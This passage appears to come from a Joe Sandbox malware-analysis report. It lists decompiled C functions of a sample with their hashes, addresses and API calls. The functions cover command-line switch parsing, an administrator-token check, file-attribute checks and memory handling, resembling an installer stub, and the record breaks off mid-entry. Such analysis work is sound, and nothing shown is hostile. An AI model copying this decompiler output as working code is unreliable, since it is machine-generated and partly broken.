Opcode Fuzzy Hash: a49a7f280b31c715ea219f973d335aa7a159102400334fb2fc55f9b3aef23b22
Instruction Fuzzy Hash: E7F0B470600208ABD750EB789D02FBE37ACFB54700F420469A986D6181EDB499548651

Uniqueness

Uniqueness Score: -1.00%

Function 00864B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00864B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0x868d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0x868d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0x868d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0x868d60)) = 1;
				 *((intOrPtr*)(_t15 + 0x868d68)) = 0;
				 *((intOrPtr*)(_t15 + 0x868d70)) = 0;
				 *((intOrPtr*)(_t15 + 0x868d6c)) = 0;
				return 0;
			}

0x00864b66
0x00864b74
0x00864b98
0x00864ba0
0x00000000
0x00864bac
0x00864ba4
0x00000000
0x00864ba4
0x00864b78
0x00864b7e
0x00864b84
0x00864b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00864FA1,00000000), ref: 00864B98

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9478063750c62dc36f76287f434d540c2149408d6b00f58ccccda5848e057e43
Instruction ID: cb925a06806331b21171753e96d666b8d1bc28a0644f9e1f003a63cb2779ddf0
Opcode Fuzzy Hash: 9478063750c62dc36f76287f434d540c2149408d6b00f58ccccda5848e057e43
Instruction Fuzzy Hash: 44F01231540B08DE47718F79CC00A56BBE5FA953B07121B2EE56ED3290DB70A481CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 008666AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008666AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x008666b1
0x008666ba
0x008666c7
0x008666bc
0x008666be
0x008666be

APIs

GetFileAttributesA.KERNELBASE(?,00864777,?,00864E38,?), ref: 008666B1

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 32ede9ee110bf041dc9b1880381c2e405e94e3f189a20ade896d8e6e8971e56d
Instruction ID: 4d8b1fcb9036e339c39a00647b46987f1a5e3c820f71227385ad8df5a77186ab
Opcode Fuzzy Hash: 32ede9ee110bf041dc9b1880381c2e405e94e3f189a20ade896d8e6e8971e56d
Instruction Fuzzy Hash: BDB0927A226880826A240631BC295563842F7E123A7EA2B90F132D01E0DA7EC866D405

Uniqueness

Uniqueness Score: -1.00%

Function 00864CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00864CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x00864caa
0x00864cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00864CAA

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: ec44afd1d685f9329c203e8a9d56c7a01d41ad0b4a8a5c7de5b73a96b93200e7
Instruction ID: d7d6fd2aecfe5ae812dd69256e85fbf2de8b12355f81e7dcd7a6372a2f6d172a
Opcode Fuzzy Hash: ec44afd1d685f9329c203e8a9d56c7a01d41ad0b4a8a5c7de5b73a96b93200e7
Instruction Fuzzy Hash: BDB0123204820CF7CF001FC2EC09F853F5DF7C4761F150000F60C490508AB294108A97

Uniqueness

Uniqueness Score: -1.00%

Function 00864CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00864CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x00864cc8
0x00864ccf

APIs

GlobalFree.KERNEL32 ref: 00864CC8

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: ade3d1eb91a06fe9dc79e793bab600f1e338ae88bce8263e605bb6739812d81e
Instruction ID: 4261d49c11a57dd0a5ff21761954c2aa0b355ce3ca5f373b5609fe2ab8ef4e03
Opcode Fuzzy Hash: ade3d1eb91a06fe9dc79e793bab600f1e338ae88bce8263e605bb6739812d81e
Instruction Fuzzy Hash: 05B0123100010CF78F001B42EC088453F5DE6C02607010010F50C450218B7398118986

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00865C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00865C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0x868004; // 0xb82e2007
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E00866CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E00866E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0x868004; // 0xb82e2007
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E0086597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E008644B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0x869124 = E00866285();
									_t75 = 0;
								}
								return E00866CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E008644B9(0, 0x521, 0x861140, 0, 0x40, 0);
												_t85 =  *0x868588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E0086667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E0086667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E00865C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E00861680(0x868c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E0086667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E0086667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0x868a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E00865C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0x868b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0x868a3a;
																}
																E00861680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E0086658A(_t218, 0x104, 0x861140);
																if(E008631E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0x868a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0x868a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0x868a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0x868a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0x868a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0x869a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0x869a2c =  *0x869a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0x868d48 =  *0x868d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0x869a2c =  *0x869a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0x869a2c =  *0x869a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0x868d48 =  *0x868d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0x869a2c =  *0x869a2c | 0x00000004;
																										L70:
																										 *0x868a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0x869a2c = 3;
																	 *0x868a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0x868a2c != 0 &&  *0x868b3e == 0) {
						if(GetModuleFileNameA( *0x869a3c, 0x868b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E008666C8(0x868b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x00865c9e
0x00865ca9
0x00865cb0
0x00865cb3
0x00865cb6
0x00865cb7
0x00865cb8
0x00865cbd
0x00866204
0x00865ccb
0x00000000
0x00865ccb
0x00865cd3
0x00865cd7
0x00865cf4
0x00000000
0x00865cf4
0x00865cf8
0x00865d00
0x00000000
0x00865d06
0x00865d06
0x00865d0e
0x00865d10
0x00865d12
0x00865d14
0x00865d15
0x00865d17
0x00865d49
0x00000000
0x00000000
0x00000000
0x00000000
0x00865d19
0x00865d19
0x00865d1d
0x00000000
0x00865d3f
0x00865d3f
0x00865d4b
0x00865d4b
0x00865d4f
0x00865d8d
0x00000000
0x00865d93
0x00865d93
0x00865d9a
0x00865d9d
0x00865d9e
0x00000000
0x00865d9e
0x00865d51
0x00865d5b
0x00865d72
0x008660fb
0x008660fb
0x00866207
0x0086620a
0x0086620b
0x0086620e
0x00866217
0x00865d78
0x00865d78
0x00865d80
0x00865d83
0x00865d84
0x00000000
0x00865d84
0x00865d5d
0x00865d5f
0x00865d62
0x00865d68
0x00865d64
0x00865d64
0x00865d64
0x00000000
0x00865d62
0x00865d5b
0x00865d4f
0x00865d1d
0x00000000
0x00865d9f
0x00865d9f
0x00865da5
0x00865dab
0x00865dba
0x00866218
0x0086621d
0x00866220
0x00866221
0x00866229
0x00866230
0x00866247
0x0086626a
0x00866272
0x00866249
0x00866255
0x0086625f
0x00866264
0x00866264
0x00866284
0x00865dc0
0x00865dc0
0x00865dca
0x00865e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00865dcc
0x00865dce
0x00865e24
0x00865e24
0x00865e2c
0x00865e47
0x00865e4a
0x008661d2
0x008661e2
0x008661e7
0x008661ee
0x008661f1
0x008661f1
0x008661f8
0x008661f8
0x00865e50
0x00865e53
0x00866109
0x0086611f
0x00000000
0x00866125
0x00866137
0x0086613a
0x0086613c
0x0086613e
0x0086613e
0x00866141
0x00866141
0x00866143
0x00866144
0x0086614a
0x00000000
0x00866150
0x00866152
0x0086615c
0x00866170
0x00866172
0x0086617c
0x00866190
0x00866190
0x00866196
0x008661a5
0x00000000
0x008661ab
0x008661b9
0x008661c6
0x008661c6
0x0086617e
0x00866180
0x0086618a
0x00000000
0x00000000
0x00000000
0x00000000
0x0086618a
0x0086615e
0x00866160
0x0086616a
0x00000000
0x00000000
0x00000000
0x00000000
0x0086616a
0x0086615c
0x0086614a
0x0086610b
0x0086610e
0x0086610e
0x00000000
0x00865e59
0x00865e59
0x00865e5c
0x0086604f
0x00866056
0x00000000
0x0086605c
0x0086606e
0x00866071
0x00866073
0x00866075
0x00866075
0x00866078
0x00866078
0x0086607a
0x0086607b
0x00866081
0x00000000
0x00866087
0x00866087
0x0086608d
0x0086609c
0x00000000
0x008660a2
0x008660aa
0x008660b2
0x008660b7
0x008660bd
0x008660bf
0x008660bf
0x008660d6
0x008660e0
0x008660e7
0x008660f5
0x00000000
0x00000000
0x00000000
0x00000000
0x008660f5
0x0086609c
0x00866081
0x00865e62
0x00865e62
0x00865e65
0x00865fd3
0x00865fe9
0x00000000
0x00865fef
0x00865fef
0x00865ff7
0x00865ffd
0x00866003
0x00866006
0x00866011
0x00866014
0x0086603d
0x00866016
0x00866018
0x00866019
0x0086601b
0x00866033
0x0086601d
0x00866020
0x00866029
0x00866022
0x00866022
0x00866022
0x00866020
0x0086601b
0x00866042
0x00866044
0x00866046
0x0086604a
0x00865ff7
0x00865fd5
0x00865fd8
0x00865fd8
0x00000000
0x00865e6b
0x00865e6b
0x00865e6e
0x00865f8b
0x00865f99
0x00000000
0x00865f9f
0x00865fa7
0x00865faf
0x00000000
0x00865fb1
0x00865fb3
0x00000000
0x00865fb5
0x00865fb7
0x00000000
0x00865fb9
0x00000000
0x00865fb9
0x00865fb7
0x00865fb3
0x00865faf
0x00865f8d
0x00865f8d
0x00865f8d
0x00865f8f
0x00865fc1
0x00865fc1
0x00865fc1
0x00000000
0x00865e74
0x00865e74
0x00865e77
0x00865ea0
0x00865ebd
0x00865f79
0x00000000
0x00865f7f
0x00865ec3
0x00865ec3
0x00865ecc
0x00865ed4
0x00865ed6
0x00865edc
0x00865edf
0x00865eea
0x00865eed
0x00865f3f
0x00865f40
0x00000000
0x00865eef
0x00865eef
0x00865ef2
0x00865f34
0x00865ef4
0x00865ef4
0x00865ef7
0x00865f2b
0x00000000
0x00865ef9
0x00865ef9
0x00865efc
0x00865f22
0x00000000
0x00865efe
0x00865eff
0x00865f02
0x00865f16
0x00865f04
0x00865f07
0x00865f0d
0x00865f46
0x00865f46
0x00865f09
0x00865f09
0x00865f09
0x00865f07
0x00865f02
0x00865efc
0x00865ef7
0x00865ef2
0x00865f4c
0x00865f4e
0x00865f50
0x00865f54
0x00865ed4
0x00865ea2
0x00865ea4
0x00865eaf
0x00865eaf
0x00000000
0x00865e79
0x00865e7d
0x00000000
0x00865e83
0x00865e83
0x00865e83
0x00865e85
0x00865e85
0x00865e8e
0x00000000
0x00865e94
0x00000000
0x00865e94
0x00865e8e
0x00865e7d
0x00865e77
0x00865e6e
0x00865e65
0x00865e5c
0x00000000
0x00000000
0x00000000
0x00865dd0
0x00865dd0
0x00865dd0
0x00000000
0x00865dd0
0x00865dce
0x00865dca
0x00865dba
0x00000000
0x00865d00
0x00865dd9
0x00865e04
0x008661fe
0x00865e0a
0x00865e0c
0x00865e17
0x00865e17
0x00865e04
0x00866200
0x00866200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00865CEE
GetModuleFileNameA.KERNEL32(00868B3E,00000104,00000000,?,?), ref: 00865DFC
CharUpperA.USER32(?), ref: 00865E3E
CharUpperA.USER32(-00000052), ref: 00865EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00865F6F
CharUpperA.USER32(?), ref: 00865FA7
CharUpperA.USER32(-0000004E), ref: 00866008
CharUpperA.USER32(?), ref: 008660AA
CloseHandle.KERNEL32(00000000,00861140,00000000,00000040,00000000), ref: 008661F1
ExitProcess.KERNEL32 ref: 008661F8

Strings

:, xrefs: 00866118
", xrefs: 0086612D
", xrefs: 00865D78
RegServer, xrefs: 00865F66

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 81de80c48ad8d6d20fbee3dbab4a165165bddd85ea8ca490b315afd5fe15f6fb
Instruction ID: 5d6a32c183a021fec4a4eb05e4456edda3d03416e863d77b82628c1f1b8623a8
Opcode Fuzzy Hash: 81de80c48ad8d6d20fbee3dbab4a165165bddd85ea8ca490b315afd5fe15f6fb
Instruction Fuzzy Hash: C8D15F71A04A989FDF358B3C9C487B93BA5FB16304F1701BAD4C6D6191EBB18E868F41

Uniqueness

Uniqueness Score: -1.00%

Function 008618A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E008618A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0x868004; // 0xb82e2007
				_v8 = _t23 ^ _t53;
				_t25 =  *0x868128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E00866CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E008617EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0x868128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0x868128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x008618a3
0x008618a3
0x008618ab
0x008618b2
0x008618b5
0x008618be
0x008618c0
0x008618c6
0x008618c7
0x008618ca
0x008618cf
0x008619c9
0x008619d8
0x008619d8
0x008618df
0x008619b8
0x008619bd
0x008619bf
0x008619bf
0x00000000
0x008619bd
0x008618fa
0x00000000
0x00000000
0x00861912
0x008619aa
0x008619ad
0x008619b3
0x00000000
0x00861927
0x00861927
0x00861932
0x00861936
0x008619a9
0x008619a9
0x00000000
0x008619a9
0x0086194c
0x008619a2
0x008619a3
0x00000000
0x0086196e
0x00861970
0x00861999
0x0086199c
0x00000000
0x0086199c
0x00861972
0x00861972
0x00861975
0x00861984
0x00861985
0x0086198a
0x00000000
0x00000000
0x00000000
0x0086198c
0x00861991
0x00861996
0x00000000
0x00861996
0x0086194c

APIs

Part of subcall function 008617EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,008618DD), ref: 0086181A
Part of subcall function 008617EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0086182C
Part of subcall function 008617EE: AllocateAndInitializeSid.ADVAPI32(008618DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,008618DD), ref: 00861855
Part of subcall function 008617EE: FreeSid.ADVAPI32(?,?,?,?,008618DD), ref: 00861883
Part of subcall function 008617EE: FreeLibrary.KERNEL32(00000000,?,?,?,008618DD), ref: 0086188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 008618EB
OpenProcessToken.ADVAPI32(00000000), ref: 008618F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 0086190A
GetLastError.KERNEL32 ref: 00861918
LocalAlloc.KERNEL32(00000000,?,?), ref: 0086192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00861944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00861964
EqualSid.ADVAPI32(00000004,?), ref: 0086197A
FreeSid.ADVAPI32(?), ref: 0086199C
LocalFree.KERNEL32(00000000), ref: 008619A3
CloseHandle.KERNEL32(?), ref: 008619AD

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

